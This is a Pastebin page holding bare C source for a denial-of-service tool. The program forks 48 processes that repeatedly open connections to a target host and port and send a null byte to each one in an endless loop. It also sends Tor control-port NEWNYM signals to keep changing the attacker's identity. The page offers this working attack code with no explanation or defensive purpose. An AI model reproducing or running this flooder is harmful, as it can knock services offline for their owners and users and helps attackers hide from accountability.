Advertisement
Guest User

Code

a guest
Jun 6th, 2016
38
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.28 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <arpa/inet.h>
  12.  
  13.  
  14. int make_socket(char *host, char *port) {
  15. struct addrinfo hints, *servinfo, *p;
  16. int sock, r;
  17. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  18. memset(&hints, 0, sizeof(hints));
  19. hints.ai_family = AF_UNSPEC;
  20. hints.ai_socktype = SOCK_STREAM;
  21. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  22. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  23. exit(0);
  24. }
  25. for(p = servinfo; p != NULL; p = p->ai_next) {
  26. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  27. continue;
  28. }
  29. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  30. close(sock);
  31. continue;
  32. }
  33. break;
  34. }
  35. if(p == NULL) {
  36. if(servinfo)
  37. freeaddrinfo(servinfo);
  38. fprintf(stderr, "No connection could be made\n");
  39. exit(0);
  40. }
  41. if(servinfo)
  42. freeaddrinfo(servinfo);
  43. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  44. return sock;
  45. }
  46.  
  47.  
  48. void broke(int s) {
  49. // do nothing
  50. }
  51.  
  52.  
  53. #define CONNECTIONS 8
  54. #define THREADS 48
  55.  
  56.  
  57. void attack(char *host, char *port, int id) {
  58. int sockets[CONNECTIONS];
  59. int x, g=1, r;
  60. for(x=0; x!= CONNECTIONS; x++)
  61. sockets[x]=0;
  62. signal(SIGPIPE, &broke);
  63. while(1) {
  64. for(x=0; x != CONNECTIONS; x++) {
  65. if(sockets[x] == 0)
  66. sockets[x] = make_socket(host, port);
  67. r=write(sockets[x], "\0", 1);
  68. if(r == -1) {
  69. close(sockets[x]);
  70. sockets[x] = make_socket(host, port);
  71. } else
  72. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  73. fprintf(stderr, "[%i: Voly Sent]\n", id);
  74. }
  75. fprintf(stderr, "[%i: Voly Sent]\n", id);
  76. usleep(300000);
  77. }
  78. }
  79.  
  80.  
  81. void cycle_identity() {
  82. int r;
  83. int socket = make_socket("localhost", "9050");
  84. write(socket, "AUTHENTICATE \"\"\n", 16);
  85. while(1) {
  86. r=write(socket, "signal NEWNYM\n\x00", 16);
  87. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  88. usleep(300000);
  89. }
  90. }
  91.  
  92.  
  93. int main(int argc, char **argv) {
  94. int x;
  95. if(argc !=3)
  96. cycle_identity();
  97. for(x=0; x != THREADS; x++) {
  98. if(fork())
  99. attack(argv[1], argv[2], x);
  100. usleep(200000);
  101. }
  102. getc(stdin);
  103. return 0;
  104. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement